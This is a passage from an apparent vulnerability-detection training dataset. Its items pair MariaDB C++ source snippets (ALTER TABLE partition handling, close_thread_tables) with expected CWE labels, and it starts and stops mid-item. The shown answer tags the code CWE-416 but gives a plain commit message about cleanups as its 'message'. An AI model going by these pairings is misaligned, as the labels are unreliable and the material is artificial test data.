my_error(ER_TOO_MANY_PARTITIONS_ERROR, MYF(0));\n        goto err;\n      }\n      alt_part_info->part_type= tab_part_info->part_type;\n      alt_part_info->subpart_type= tab_part_info->subpart_type;\n      if (alt_part_info->set_up_defaults_for_partitioning(thd, table->file, 0,\n                                                    tab_part_info->num_parts))\n      {\n        goto err;\n      }\n/*\nHandling of on-line cases:\n\nADD PARTITION for RANGE/LIST PARTITIONING:\n------------------------------------------\nFor range and list partitions add partition is simply adding a\nnew empty partition to the table. If the handler support this we\nwill use the simple method of doing this. The figure below shows\nan example of this and the states involved in making this change.\n            \nExisting partitions                                     New added partitions\n------       ------        ------        ------      |  ------    ------\n|    |       |    |        |    |        |    |      |  |    |    |    |\n| p0 |       | p1 |        | p2 |        | p3 |      |  | p4 |    | p5 |\n------       ------        ------        ------      |  ------    ------\nPART_NORMAL  PART_NORMAL   PART_NORMAL   PART_NORMAL    PART_TO_BE_ADDED*2\nPART_NORMAL  PART_NORMAL   PART_NORMAL   PART_NORMAL    PART_IS_ADDED*2\n\nThe first line is the states before adding the new partitions and the \nsecond line is after the new partitions are added. All the partitions are\nin the partitions list, no partitions are placed in the temp_partitions\nlist.\n\nADD PARTITION for HASH PARTITIONING\n-----------------------------------\nThis little figure tries to show the various partitions involved when\nadding two new partitions to a linear hash based partitioned table with\nfour partitions to start with, which lists are used and the states they\npass through. Adding partitions to a normal hash based is similar except\nthat it is always all the existing partitions that are reorganised not\nonly a subset of them.\n\nExisting partitions                                     New added partitions\n------       ------        ------        ------      |  ------    ------\n|    |       |    |        |    |        |    |      |  |    |    |    |\n| p0 |       | p1 |        | p2 |        | p3 |      |  | p4 |    | p5 |\n------       ------        ------        ------      |  ------    ------\nPART_CHANGED PART_CHANGED  PART_NORMAL   PART_NORMAL    PART_TO_BE_ADDED\nPART_IS_CHANGED*2          PART_NORMAL   PART_NORMAL    PART_IS_ADDED\nPART_NORMAL  PART_NORMAL   PART_NORMAL   PART_NORMAL    PART_IS_ADDED\n\nReorganised existing partitions\n------      ------\n|    |      |    |\n| p0'|      | p1'|\n------      ------\n\np0 - p5 will be in the partitions list of partitions.\np0' and p1' will actually not exist as separate objects, there presence can\nbe deduced from the state of the partition and also the names of those\npartitions can be deduced this way.\n\nAfter adding the partitions and copying the partition data to p0', p1',\np4 and p5 from p0 and p1 the states change to adapt for the new situation\nwhere p0 and p1 is dropped and replaced by p0' and p1' and the new p4 and\np5 are in the table again.\n\nThe first line above shows the states of the partitions before we start\nadding and copying partitions, the second after completing the adding\nand copying and finally the third line after also dropping the partitions\nthat are reorganised.\n*/\n      if (*fast_alter_table && tab_part_info->part_type == HASH_PARTITION)\n      {\n        uint part_no= 0, start_part= 1, start_sec_part= 1;\n        uint end_part= 0, end_sec_part= 0;\n        uint upper_2n= tab_part_info->linear_hash_mask + 1;\n        uint lower_2n= upper_2n >> 1;\n        bool all_parts= TRUE;\n        if (tab_part_info->linear_hash_ind && num_new_partitions < upper_2n)\n        {\n          /*\n            An analysis of which parts needs reorganisation shows that it is\n            divided into two intervals. The first interval is those parts\n            that are reorganised up until upper_2n - 1. From upper_2n and\n            onwards it starts again from partition 0 and goes on until\n            it reaches p(upper_2n - 1). If the last new partition reaches\n            beyond upper_2n - 1 then the first interval will end with\n            p(lower_2n - 1) and start with p(num_orig_partitions - lower_2n).\n            If lower_2n partitions are added then p0 to p(lower_2n - 1) will\n            be reorganised which means that the two interval becomes one\n            interval at this point. Thus only when adding less than\n            lower_2n partitions and going beyond a total of upper_2n we\n            actually get two intervals.\n\n            To exemplify this assume we have 6 partitions to start with and\n            add 1, 2, 3, 5, 6, 7, 8, 9 partitions.\n            The first to add after p5 is p6 = 110 in bit numbers. Thus we\n            can see that 10 = p2 will be partition to reorganise if only one\n            partition.\n            If 2 partitions are added we reorganise [p2, p3]. Those two\n            cases are covered by the second if part below.\n            If 3 partitions are added we reorganise [p2, p3] U [p0,p0]. This\n            part is covered by the else part below.\n            If 5 partitions are added we get [p2,p3] U [p0, p2] = [p0, p3].\n            This is covered by the first if part where we need the max check\n            to here use lower_2n - 1.\n            If 7 partitions are added we get [p2,p3] U [p0, p4] = [p0, p4].\n            This is covered by the first if part but here we use the first\n            calculated end_part.\n            Finally with 9 new partitions we would also reorganise p6 if we\n            used the method below but we cannot reorganise more partitions\n            than what we had from the start and thus we simply set all_parts\n            to TRUE. In this case we don't get into this if-part at all.\n          */\n          all_parts= FALSE;\n          if (num_new_partitions >= lower_2n)\n          {\n            /*\n              In this case there is only one interval since the two intervals\n              overlap and this starts from zero to last_part_no - upper_2n\n            */\n            start_part= 0;\n            end_part= new_total_partitions - (upper_2n + 1);\n            end_part= max(lower_2n - 1, end_part);\n          }\n          else if (new_total_partitions <= upper_2n)\n          {\n            /*\n              Also in this case there is only one interval since we are not\n              going over a 2**n boundary\n            */\n            start_part= num_orig_partitions - lower_2n;\n            end_part= start_part + (num_new_partitions - 1);\n          }\n          else\n          {\n            /* We have two non-overlapping intervals since we are not\n               passing a 2**n border and we have not at least lower_2n\n               new parts that would ensure that the intervals become\n               overlapping.\n            */\n            start_part= num_orig_partitions - lower_2n;\n            end_part= upper_2n - 1;\n            start_sec_part= 0;\n            end_sec_part= new_total_partitions - (upper_2n + 1);\n          }\n        }\n        List_iterator tab_it(tab_part_info->partitions);\n        part_no= 0;\n        do\n        {\n          partition_element *p_elem= tab_it++;\n          if (all_parts ||\n              (part_no >= start_part && part_no <= end_part) ||\n              (part_no >= start_sec_part && part_no <= end_sec_part))\n          {\n            p_elem->part_state= PART_CHANGED;\n          }\n        } while (++part_no < num_orig_partitions);\n      }\n      /*\n        Need to concatenate the lists here to make it possible to check the\n        partition info for correctness using check_partition_info.\n        For on-line add partition we set the state of this partition to\n        PART_TO_BE_ADDED to ensure that it is known that it is not yet\n        usable (becomes usable when partition is created and the switch of\n        partition configuration is made.\n      */\n      {\n        partition_element *now_part= NULL;\n        if (tab_part_info->part_type == VERSIONING_PARTITION)\n        {\n          List_iterator it(tab_part_info->partitions);\n          partition_element *el;\n          while ((el= it++))\n          {\n            if (el->type == partition_element::CURRENT)\n            {\n              it.remove();\n              now_part= el;\n            }\n          }\n          if (*fast_alter_table && tab_part_info->vers_info->interval.is_set())\n          {\n            partition_element *hist_part= tab_part_info->vers_info->hist_part;\n            if (hist_part->range_value <= thd->query_start())\n              hist_part->part_state= PART_CHANGED;\n          }\n        }\n        List_iterator alt_it(alt_part_info->partitions);\n        uint part_count= 0;\n        do\n        {\n          partition_element *part_elem= alt_it++;\n          if (*fast_alter_table)\n            part_elem->part_state= PART_TO_BE_ADDED;\n          if (unlikely(tab_part_info->partitions.push_back(part_elem,\n                                                           thd->mem_root)))\n            goto err;\n        } while (++part_count < num_new_partitions);\n        tab_part_info->num_parts+= num_new_partitions;\n        if (tab_part_info->part_type == VERSIONING_PARTITION)\n        {\n          DBUG_ASSERT(now_part);\n          if (unlikely(tab_part_info->partitions.push_back(now_part,\n                                                           thd->mem_root)))\n            goto err;\n        }\n      }\n      /*\n        If we specify partitions explicitly we don't use defaults anymore.\n        Using ADD PARTITION also means that we don't have the default number\n        of partitions anymore. We use this code also for Table reorganisations\n        and here we don't set any default flags to FALSE.\n      */\n      if (!(alter_info->partition_flags & ALTER_PARTITION_TABLE_REORG))\n      {\n        if (!alt_part_info->use_default_partitions)\n        {\n          DBUG_PRINT(\"info\", (\"part_info: %p\", tab_part_info));\n          tab_part_info->use_default_partitions= FALSE;\n        }\n        tab_part_info->use_default_num_partitions= FALSE;\n        tab_part_info->is_auto_partitioned= FALSE;\n      }\n    }\n    else if (alter_info->partition_flags & ALTER_PARTITION_DROP)\n    {\n      /*\n        Drop a partition from a range partition and list partitioning is\n        always safe and can be made more or less immediate. It is necessary\n        however to ensure that the partition to be removed is safely removed\n        and that REPAIR TABLE can remove the partition if for some reason the\n        command to drop the partition failed in the middle.\n      */\n      uint part_count= 0;\n      uint num_parts_dropped= alter_info->partition_names.elements;\n      uint num_parts_found= 0;\n      List_iterator part_it(tab_part_info->partitions);\n\n      tab_part_info->is_auto_partitioned= FALSE;\n      if (tab_part_info->part_type == VERSIONING_PARTITION)\n      {\n        if (num_parts_dropped >= tab_part_info->num_parts - 1)\n        {\n          DBUG_ASSERT(table && table->s && table->s->table_name.str);\n          my_error(ER_VERS_WRONG_PARTS, MYF(0), table->s->table_name.str);\n          goto err;\n        }\n      }\n      else\n      {\n        if (!(tab_part_info->part_type == RANGE_PARTITION ||\n              tab_part_info->part_type == LIST_PARTITION))\n        {\n          my_error(ER_ONLY_ON_RANGE_LIST_PARTITION, MYF(0), \"DROP\");\n          goto err;\n        }\n        if (num_parts_dropped >= tab_part_info->num_parts)\n        {\n          my_error(ER_DROP_LAST_PARTITION, MYF(0));\n          goto err;\n        }\n      }\n      do\n      {\n        partition_element *part_elem= part_it++;\n        if (is_name_in_list(part_elem->partition_name,\n                            alter_info->partition_names))\n        {\n          if (tab_part_info->part_type == VERSIONING_PARTITION)\n          {\n            if (part_elem->type == partition_element::CURRENT)\n            {\n              my_error(ER_VERS_WRONG_PARTS, MYF(0), table->s->table_name.str);\n              goto err;\n            }\n            if (tab_part_info->vers_info->interval.is_set())\n            {\n              if (num_parts_found < part_count)\n              {\n                my_error(ER_VERS_DROP_PARTITION_INTERVAL, MYF(0));\n                goto err;\n              }\n              tab_part_info->vers_info->interval.start=\n                (my_time_t)part_elem->range_value;\n            }\n          }\n          /*\n            Set state to indicate that the partition is to be dropped.\n          */\n          num_parts_found++;\n          part_elem->part_state= PART_TO_BE_DROPPED;\n        }\n      } while (++part_count < tab_part_info->num_parts);\n      if (num_parts_found != num_parts_dropped)\n      {\n        my_error(ER_DROP_PARTITION_NON_EXISTENT, MYF(0), \"DROP\");\n        goto err;\n      }\n      if (table->file->is_fk_defined_on_table_or_index(MAX_KEY))\n      {\n        my_error(ER_ROW_IS_REFERENCED, MYF(0));\n        goto err;\n      }\n      tab_part_info->num_parts-= num_parts_dropped;\n    }\n    else if (alter_info->partition_flags & ALTER_PARTITION_REBUILD)\n    {\n      set_engine_all_partitions(tab_part_info,\n                                tab_part_info->default_engine_type);\n      if (set_part_state(alter_info, tab_part_info, PART_CHANGED))\n      {\n        my_error(ER_DROP_PARTITION_NON_EXISTENT, MYF(0), \"REBUILD\");\n        goto err;\n      }\n      if (!(*fast_alter_table))\n      {\n        table->file->print_error(HA_ERR_WRONG_COMMAND, MYF(0));\n        goto err;\n      }\n    }\n    else if (alter_info->partition_flags & ALTER_PARTITION_COALESCE)\n    {\n      uint num_parts_coalesced= alter_info->num_parts;\n      uint num_parts_remain= tab_part_info->num_parts - num_parts_coalesced;\n      List_iterator part_it(tab_part_info->partitions);\n      if (tab_part_info->part_type != HASH_PARTITION)\n      {\n        my_error(ER_COALESCE_ONLY_ON_HASH_PARTITION, MYF(0));\n        goto err;\n      }\n      if (num_parts_coalesced == 0)\n      {\n        my_error(ER_COALESCE_PARTITION_NO_PARTITION, MYF(0));\n        goto err;\n      }\n      if (num_parts_coalesced >= tab_part_info->num_parts)\n      {\n        my_error(ER_DROP_LAST_PARTITION, MYF(0));\n        goto err;\n      }\n/*\nOnline handling:\nCOALESCE PARTITION:\n-------------------\nThe figure below shows the manner in which partitions are handled when\nperforming an on-line coalesce partition and which states they go through\nat start, after adding and copying partitions and finally after dropping\nthe partitions to drop. The figure shows an example using four partitions\nto start with, using linear hash and coalescing one partition (always the\nlast partition).\n\nUsing linear hash then all remaining partitions will have a new reorganised\npart.\n\nExisting partitions                     Coalesced partition \n------       ------              ------   |      ------\n|    |       |    |              |    |   |      |    |\n| p0 |       | p1 |              | p2 |   |      | p3 |\n------       ------              ------   |      ------\nPART_NORMAL  PART_CHANGED        PART_NORMAL     PART_REORGED_DROPPED\nPART_NORMAL  PART_IS_CHANGED     PART_NORMAL     PART_TO_BE_DROPPED\nPART_NORMAL  PART_NORMAL         PART_NORMAL     PART_IS_DROPPED\n\nReorganised existing partitions\n            ------\n            |    |\n            | p1'|\n            ------\n\np0 - p3 is in the partitions list.\nThe p1' partition will actually not be in any list it is deduced from the\nstate of p1.\n*/\n      {\n        uint part_count= 0, start_part= 1, start_sec_part= 1;\n        uint end_part= 0, end_sec_part= 0;\n        bool all_parts= TRUE;\n        if (*fast_alter_table &&\n            tab_part_info->linear_hash_ind)\n        {\n          uint upper_2n= tab_part_info->linear_hash_mask + 1;\n          uint lower_2n= upper_2n >> 1;\n          all_parts= FALSE;\n          if (num_parts_coalesced >= lower_2n)\n          {\n            all_parts= TRUE;\n          }\n          else if (num_parts_remain >= lower_2n)\n          {\n            end_part= tab_part_info->num_parts - (lower_2n + 1);\n            start_part= num_parts_remain - lower_2n;\n          }\n          else\n          {\n            start_part= 0;\n            end_part= tab_part_info->num_parts - (lower_2n + 1);\n            end_sec_part= (lower_2n >> 1) - 1;\n            start_sec_part= end_sec_part - (lower_2n - (num_parts_remain + 1));\n          }\n        }\n        do\n        {\n          partition_element *p_elem= part_it++;\n          if (*fast_alter_table &&\n              (all_parts ||\n              (part_count >= start_part && part_count <= end_part) ||\n              (part_count >= start_sec_part && part_count <= end_sec_part)))\n            p_elem->part_state= PART_CHANGED;\n          if (++part_count > num_parts_remain)\n          {\n            if (*fast_alter_table)\n              p_elem->part_state= PART_REORGED_DROPPED;\n            else\n              part_it.remove();\n          }\n        } while (part_count < tab_part_info->num_parts);\n        tab_part_info->num_parts= num_parts_remain;\n      }\n      if (!(alter_info->partition_flags & ALTER_PARTITION_TABLE_REORG))\n      {\n        tab_part_info->use_default_num_partitions= FALSE;\n        tab_part_info->is_auto_partitioned= FALSE;\n      }\n    }\n    else if (alter_info->partition_flags & ALTER_PARTITION_REORGANIZE)\n    {\n      /*\n        Reorganise partitions takes a number of partitions that are next\n        to each other (at least for RANGE PARTITIONS) and then uses those\n        to create a set of new partitions. So data is copied from those\n        partitions into the new set of partitions. Those new partitions\n        can have more values in the LIST value specifications or less both\n        are allowed. The ranges can be different but since they are \n        changing a set of consecutive partitions they must cover the same\n        range as those changed from.\n        This command can be used on RANGE and LIST partitions.\n      */\n      uint num_parts_reorged= alter_info->partition_names.elements;\n      uint num_parts_new= thd->work_part_info->partitions.elements;\n      uint check_total_partitions;\n\n      tab_part_info->is_auto_partitioned= FALSE;\n      if (num_parts_reorged > tab_part_info->num_parts)\n      {\n        my_error(ER_REORG_PARTITION_NOT_EXIST, MYF(0));\n        goto err;\n      }\n      if (!(tab_part_info->part_type == RANGE_PARTITION ||\n            tab_part_info->part_type == LIST_PARTITION) &&\n           (num_parts_new != num_parts_reorged))\n      {\n        my_error(ER_REORG_HASH_ONLY_ON_SAME_NO, MYF(0));\n        goto err;\n      }\n      if (tab_part_info->is_sub_partitioned() &&\n          alt_part_info->num_subparts &&\n          alt_part_info->num_subparts != tab_part_info->num_subparts)\n      {\n        my_error(ER_PARTITION_WRONG_NO_SUBPART_ERROR, MYF(0));\n        goto err;\n      }\n      check_total_partitions= tab_part_info->num_parts + num_parts_new;\n      check_total_partitions-= num_parts_reorged;\n      if (check_total_partitions > MAX_PARTITIONS)\n      {\n        my_error(ER_TOO_MANY_PARTITIONS_ERROR, MYF(0));\n        goto err;\n      }\n      alt_part_info->part_type= tab_part_info->part_type;\n      alt_part_info->subpart_type= tab_part_info->subpart_type;\n      alt_part_info->num_subparts= tab_part_info->num_subparts;\n      DBUG_ASSERT(!alt_part_info->use_default_partitions);\n      /* We specified partitions explicitly so don't use defaults anymore. */\n      tab_part_info->use_default_partitions= FALSE;\n      if (alt_part_info->set_up_defaults_for_partitioning(thd, table->file, 0,\n                                                          0))\n      {\n        goto err;\n      }\n      check_datadir_altered_for_innodb(thd, tab_part_info, alt_part_info);\n\n/*\nOnline handling:\nREORGANIZE PARTITION:\n---------------------\nThe figure exemplifies the handling of partitions, their state changes and\nhow they are organised. It exemplifies four partitions where two of the\npartitions are reorganised (p1 and p2) into two new partitions (p4 and p5).\nThe reason of this change could be to change range limits, change list\nvalues or for hash partitions simply reorganise the partition which could\nalso involve moving them to new disks or new node groups (MySQL Cluster).\n\nExisting partitions                                  \n------       ------        ------        ------\n|    |       |    |        |    |        |    |\n| p0 |       | p1 |        | p2 |        | p3 |\n------       ------        ------        ------\nPART_NORMAL  PART_TO_BE_REORGED          PART_NORMAL\nPART_NORMAL  PART_TO_BE_DROPPED          PART_NORMAL\nPART_NORMAL  PART_IS_DROPPED             PART_NORMAL\n\nReorganised new partitions (replacing p1 and p2)\n------      ------\n|    |      |    |\n| p4 |      | p5 |\n------      ------\nPART_TO_BE_ADDED\nPART_IS_ADDED\nPART_IS_ADDED\n\nAll unchanged partitions and the new partitions are in the partitions list\nin the order they will have when the change is completed. The reorganised\npartitions are placed in the temp_partitions list. PART_IS_ADDED is only a\ntemporary state not written in the frm file. It is used to ensure we write\nthe generated partition syntax in a correct manner.\n*/\n      {\n        List_iterator tab_it(tab_part_info->partitions);\n        uint part_count= 0;\n        bool found_first= FALSE;\n        bool found_last= FALSE;\n        uint drop_count= 0;\n        do\n        {\n          partition_element *part_elem= tab_it++;\n          is_last_partition_reorged= FALSE;\n          if (is_name_in_list(part_elem->partition_name,\n                              alter_info->partition_names))\n          {\n            is_last_partition_reorged= TRUE;\n            drop_count++;\n            if (tab_part_info->column_list)\n            {\n              List_iterator p(part_elem->list_val_list);\n              tab_max_elem_val= p++;\n            }\n            else\n              tab_max_range= part_elem->range_value;\n            if (*fast_alter_table &&\n                unlikely(tab_part_info->temp_partitions.\n                         push_back(part_elem, thd->mem_root)))\n              goto err;\n\n            if (*fast_alter_table)\n              part_elem->part_state= PART_TO_BE_REORGED;\n            if (!found_first)\n            {\n              uint alt_part_count= 0;\n              partition_element *alt_part_elem;\n              List_iterator\n                                 alt_it(alt_part_info->partitions);\n              found_first= TRUE;\n              do\n              {\n                alt_part_elem= alt_it++;\n                if (tab_part_info->column_list)\n                {\n                  List_iterator p(alt_part_elem->list_val_list);\n                  alt_max_elem_val= p++;\n                }\n                else\n                  alt_max_range= alt_part_elem->range_value;\n\n                if (*fast_alter_table)\n                  alt_part_elem->part_state= PART_TO_BE_ADDED;\n                if (alt_part_count == 0)\n                  tab_it.replace(alt_part_elem);\n                else\n                  tab_it.after(alt_part_elem);\n              } while (++alt_part_count < num_parts_new);\n            }\n            else if (found_last)\n            {\n              my_error(ER_CONSECUTIVE_REORG_PARTITIONS, MYF(0));\n              goto err;\n            }\n            else\n              tab_it.remove();\n          }\n          else\n          {\n            if (found_first)\n              found_last= TRUE;\n          }\n        } while (++part_count < tab_part_info->num_parts);\n        if (drop_count != num_parts_reorged)\n        {\n          my_error(ER_DROP_PARTITION_NON_EXISTENT, MYF(0), \"REORGANIZE\");\n          goto err;\n        }\n        tab_part_info->num_parts= check_total_partitions;\n      }\n    }\n    else\n    {\n      DBUG_ASSERT(FALSE);\n    }\n    *partition_changed= TRUE;\n    thd->work_part_info= tab_part_info;\n    if (alter_info->partition_flags & (ALTER_PARTITION_ADD |\n                                       ALTER_PARTITION_REORGANIZE))\n    {\n      if (tab_part_info->use_default_subpartitions &&\n          !alt_part_info->use_default_subpartitions)\n      {\n        tab_part_info->use_default_subpartitions= FALSE;\n        tab_part_info->use_default_num_subpartitions= FALSE;\n      }\n\n      if (tab_part_info->check_partition_info(thd, (handlerton**)NULL,\n                                              table->file, 0, alt_part_info))\n      {\n        goto err;\n      }\n      /*\n        The check below needs to be performed after check_partition_info\n        since this function \"fixes\" the item trees of the new partitions\n        to reorganize into\n      */\n      if (alter_info->partition_flags == ALTER_PARTITION_REORGANIZE &&\n          tab_part_info->part_type == RANGE_PARTITION &&\n          ((is_last_partition_reorged &&\n            (tab_part_info->column_list ?\n             (partition_info_compare_column_values(\n                              alt_max_elem_val->col_val_array,\n                              tab_max_elem_val->col_val_array) < 0) :\n             alt_max_range < tab_max_range)) ||\n            (!is_last_partition_reorged &&\n             (tab_part_info->column_list ?\n              (partition_info_compare_column_values(\n                              alt_max_elem_val->col_val_array,\n                              tab_max_elem_val->col_val_array) != 0) :\n              alt_max_range != tab_max_range))))\n      {\n        /*\n          For range partitioning the total resulting range before and\n          after the change must be the same except in one case. This is\n          when the last partition is reorganised, in this case it is\n          acceptable to increase the total range.\n          The reason is that it is not allowed to have \"holes\" in the\n          middle of the ranges and thus we should not allow to reorganise\n          to create \"holes\".\n        */\n        my_error(ER_REORG_OUTSIDE_RANGE, MYF(0));\n        goto err;\n      }\n    }\n  } // ADD, DROP, COALESCE, REORGANIZE, TABLE_REORG, REBUILD\n  else\n  {\n    /*\n     When thd->lex->part_info has a reference to a partition_info the\n     ALTER TABLE contained a definition of a partitioning.\n\n     Case I:\n       If there was a partition before and there is a new one defined.\n       We use the new partitioning. The new partitioning is already\n       defined in the correct variable so no work is needed to\n       accomplish this.\n       We do however need to update partition_changed to ensure that not\n       only the frm file is changed in the ALTER TABLE command.\n\n     Case IIa:\n       There was a partitioning before and there is no new one defined.\n       Also the user has not specified to remove partitioning explicitly.\n\n       We use the old partitioning also for the new table. We do this\n       by assigning the partition_info from the table loaded in\n       open_table to the partition_info struct used by mysql_create_table\n       later in this method.\n\n     Case IIb:\n       There was a partitioning before and there is no new one defined.\n       The user has specified explicitly to remove partitioning\n\n       Since the user has specified explicitly to remove partitioning\n       we override the old partitioning info and create a new table using\n       the specified engine.\n       In this case the partition also is changed.\n\n     Case III:\n       There was no partitioning before altering the table, there is\n       partitioning defined in the altered table. Use the new partitioning.\n       No work needed since the partitioning info is already in the\n       correct variable.\n\n       In this case we discover one case where the new partitioning is using\n       the same partition function as the default (PARTITION BY KEY or\n       PARTITION BY LINEAR KEY with the list of fields equal to the primary\n       key fields OR PARTITION BY [LINEAR] KEY() for tables without primary\n       key)\n       Also here partition has changed and thus a new table must be\n       created.\n\n     Case IV:\n       There was no partitioning before and no partitioning defined.\n       Obviously no work needed.\n    */\n    partition_info *tab_part_info= table->part_info;\n\n    if (tab_part_info)\n    {\n      if (alter_info->partition_flags & ALTER_PARTITION_REMOVE)\n      {\n        DBUG_PRINT(\"info\", (\"Remove partitioning\"));\n        if (!(create_info->used_fields & HA_CREATE_USED_ENGINE))\n        {\n          DBUG_PRINT(\"info\", (\"No explicit engine used\"));\n          create_info->db_type= tab_part_info->default_engine_type;\n        }\n        DBUG_PRINT(\"info\", (\"New engine type: %s\",\n                   ha_resolve_storage_engine_name(create_info->db_type)));\n        thd->work_part_info= NULL;\n        *partition_changed= TRUE;\n      }\n      else if (!thd->work_part_info)\n      {\n        /*\n          Retain partitioning but possibly with a new storage engine\n          beneath.\n\n          Create a copy of TABLE::part_info to be able to modify it freely.\n        */\n        if (!(tab_part_info= tab_part_info->get_clone(thd)))\n          DBUG_RETURN(TRUE);\n        thd->work_part_info= tab_part_info;\n        if (create_info->used_fields & HA_CREATE_USED_ENGINE &&\n            create_info->db_type != tab_part_info->default_engine_type)\n        {\n          /*\n            Make sure change of engine happens to all partitions.\n          */\n          DBUG_PRINT(\"info\", (\"partition changed\"));\n          if (tab_part_info->is_auto_partitioned)\n          {\n            /*\n              If the user originally didn't specify partitioning to be\n              used we can remove it now.\n            */\n            thd->work_part_info= NULL;\n          }\n          else\n          {\n            /*\n              Ensure that all partitions have the proper engine set-up\n            */\n            set_engine_all_partitions(thd->work_part_info,\n                                      create_info->db_type);\n          }\n          *partition_changed= TRUE;\n        }\n      }\n      /*\n        Prohibit inplace when partitioned by primary key and the primary key is changed.\n      */\n      if (!*partition_changed &&\n          tab_part_info->part_field_array &&\n          !tab_part_info->part_field_list.elements &&\n          table->s->primary_key != MAX_KEY)\n      {\n\n        if (alter_info->flags & (ALTER_DROP_SYSTEM_VERSIONING |\n                                 ALTER_ADD_SYSTEM_VERSIONING))\n        {\n          *partition_changed= true;\n        }\n        else\n        {\n          KEY *primary_key= table->key_info + table->s->primary_key;\n          List_iterator_fast drop_it(alter_info->drop_list);\n          const char *primary_name= primary_key->name.str;\n          const Alter_drop *drop;\n          drop_it.rewind();\n          while ((drop= drop_it++))\n          {\n            if (drop->type == Alter_drop::KEY &&\n                0 == my_strcasecmp(system_charset_info, primary_name, drop->name))\n              break;\n          }\n          if (drop)\n            *partition_changed= TRUE;\n        }\n      }\n    }\n    if (thd->work_part_info)\n    {\n      partition_info *part_info= thd->work_part_info;\n      bool is_native_partitioned= FALSE;\n      /*\n        Need to cater for engine types that can handle partition without\n        using the partition handler.\n      */\n      if (part_info != tab_part_info)\n      {\n        if (part_info->fix_parser_data(thd))\n        {\n          goto err;\n        }\n        /*\n          Compare the old and new part_info. If only key_algorithm\n          change is done, don't consider it as changed partitioning (to avoid\n          rebuild). This is to handle KEY (numeric_cols) partitioned tables\n          created in 5.1. For more info, see bug#14521864.\n        */\n        if (alter_info->partition_flags != ALTER_PARTITION_INFO ||\n            !table->part_info ||\n            alter_info->algorithm(thd) !=\n              Alter_info::ALTER_TABLE_ALGORITHM_INPLACE ||\n            !table->part_info->has_same_partitioning(part_info))\n        {\n          DBUG_PRINT(\"info\", (\"partition changed\"));\n          *partition_changed= true;\n        }\n      }\n\n      /*\n        Set up partition default_engine_type either from the create_info\n        or from the previus table\n      */\n      if (create_info->used_fields & HA_CREATE_USED_ENGINE)\n        part_info->default_engine_type= create_info->db_type;\n      else\n      {\n        if (tab_part_info)\n          part_info->default_engine_type= tab_part_info->default_engine_type;\n        else\n          part_info->default_engine_type= create_info->db_type;\n      }\n      DBUG_ASSERT(part_info->default_engine_type &&\n                  part_info->default_engine_type != partition_hton);\n      if (check_native_partitioned(create_info, &is_native_partitioned,\n                                   part_info, thd))\n      {\n        goto err;\n      }\n      if (!is_native_partitioned)\n      {\n        DBUG_ASSERT(create_info->db_type);\n        create_info->db_type= partition_hton;\n      }\n    }\n  }\n  DBUG_RETURN(FALSE);\nerr:\n  *fast_alter_table= false;\n  if (saved_part_info)\n    table->part_info= saved_part_info;\n  DBUG_RETURN(TRUE);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-416'], 'message': 'MDEV-24176 Preparations\n\n1. moved fix_vcol_exprs() call to open_table()\n\nmysql_alter_table() doesn't do lock_tables() so it cannot win from\nfix_vcol_exprs() from there. Tests affected: main.default_session\n\n2. Vanilla cleanups and comments.'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: void close_thread_tables(THD *thd)\n{\n  TABLE *table;\n  DBUG_ENTER(\"close_thread_tables\");\n\n  THD_STAGE_INFO(thd, stage_closing_tables);\n\n#ifdef EXTRA_DEBUG\n  DBUG_PRINT(\"tcache\", (\"open tables:\"));\n  for (table= thd->open_tables; table; table= table->next)\n    DBUG_PRINT(\"tcache\", (\"table: '%s'.'%s' %p\", table->s->db.str,\n                          table->s->table_name.str, table));\n#endif\n\n#if defined(ENABLED_DEBUG_SYNC)\n  /* debug_sync may not be initialized for some slave threads */\n  if (thd->debug_sync_control)\n    DEBUG_SYNC(thd, \"before_close_thread_tables\");\n#endif\n\n  DBUG_ASSERT(thd->transaction.stmt.is_empty() || thd->in_sub_stmt ||\n              (thd->state_flags & Open_tables_state::BACKUPS_AVAIL));\n\n  /* Detach MERGE children after every statement. Even under LOCK TABLES. */\n  for (table= thd->open_tables; table; table= table->next)\n  {\n    /* Table might be in use by some outer statement. */\n    DBUG_PRINT(\"tcache\", (\"table: '%s'  query_id: %lu\",\n                          table->s->table_name.str, (ulong) table->query_id));\n    if (thd->locked_tables_mode <= LTM_LOCK_TABLES ||\n        table->query_id == thd->query_id)\n    {\n      DBUG_ASSERT(table->file);\n      table->file->extra(HA_EXTRA_DETACH_CHILDREN);\n    }\n  }\n\n  /*\n    We are assuming here that thd->derived_tables contains ONLY derived\n    tables for this substatement. i.e. instead of approach which uses\n    query_id matching for determining which of the derived tables belong\n    to this substatement we rely on the ability of substatements to\n    save/restore thd->derived_tables during their execution.\n\n    TODO: Probably even better approach is to simply associate list of\n          derived tables with (sub-)statement instead of thread and destroy\n          them at the end of its execution.\n  */\n  if (thd->derived_tables)\n  {\n    TABLE *next;\n    /*\n      Close all derived tables generated in queries like\n      SELECT * FROM (SELECT * FROM t1)\n    */\n    for (table= thd->derived_tables ; table ; table= next)\n    {\n      next= table->next;\n      free_tmp_table(thd, table);\n    }\n    thd->derived_tables= 0;\n  }\n\n  if (thd->rec_tables)\n  {\n    TABLE *next;\n    /*\n      Close all temporary tables created for recursive table references.\n      This action was postponed because the table could be used in the\n      statements like  ANALYZE WITH r AS (...) SELECT * from r\n      where r is defined through recursion. \n    */\n    for (table= thd->rec_tables ; table ; table= next)\n    {\n      next= table->next;\n      free_tmp_table(thd, table);\n    }\n    thd->rec_tables= 0;\n  }\n\n  /*\n    Mark all temporary tables used by this statement as free for reuse.\n  */\n  thd->mark_tmp_tables_as_free_for_reuse();\n\n  if (thd->locked_tables_mode)\n  {\n\n    /* Ensure we are calling ha_reset() for all used tables */\n    mark_used_tables_as_free_for_reuse(thd, thd->open_tables);\n\n    /*\n      We are under simple LOCK TABLES or we're inside a sub-statement\n      of a prelocked statement, so should not do anything else.\n\n      Note that even if we are in LTM_LOCK_TABLES mode and statement\n      requires prelocking (e.g. when we are closing tables after\n      failing ot \"open\" all tables required for statement execution)\n      we will exit this function a few lines below.\n    */\n    if (! thd->lex->requires_prelocking())\n      DBUG_VOID_RETURN;\n\n    /*\n      We are in the top-level statement of a prelocked statement,\n      so we have to leave the prelocked mode now with doing implicit\n      UNLOCK TABLES if needed.\n    */\n    if (thd->locked_tables_mode == LTM_PRELOCKED_UNDER_LOCK_TABLES)\n      thd->locked_tables_mode= LTM_LOCK_TABLES;\n\n    if 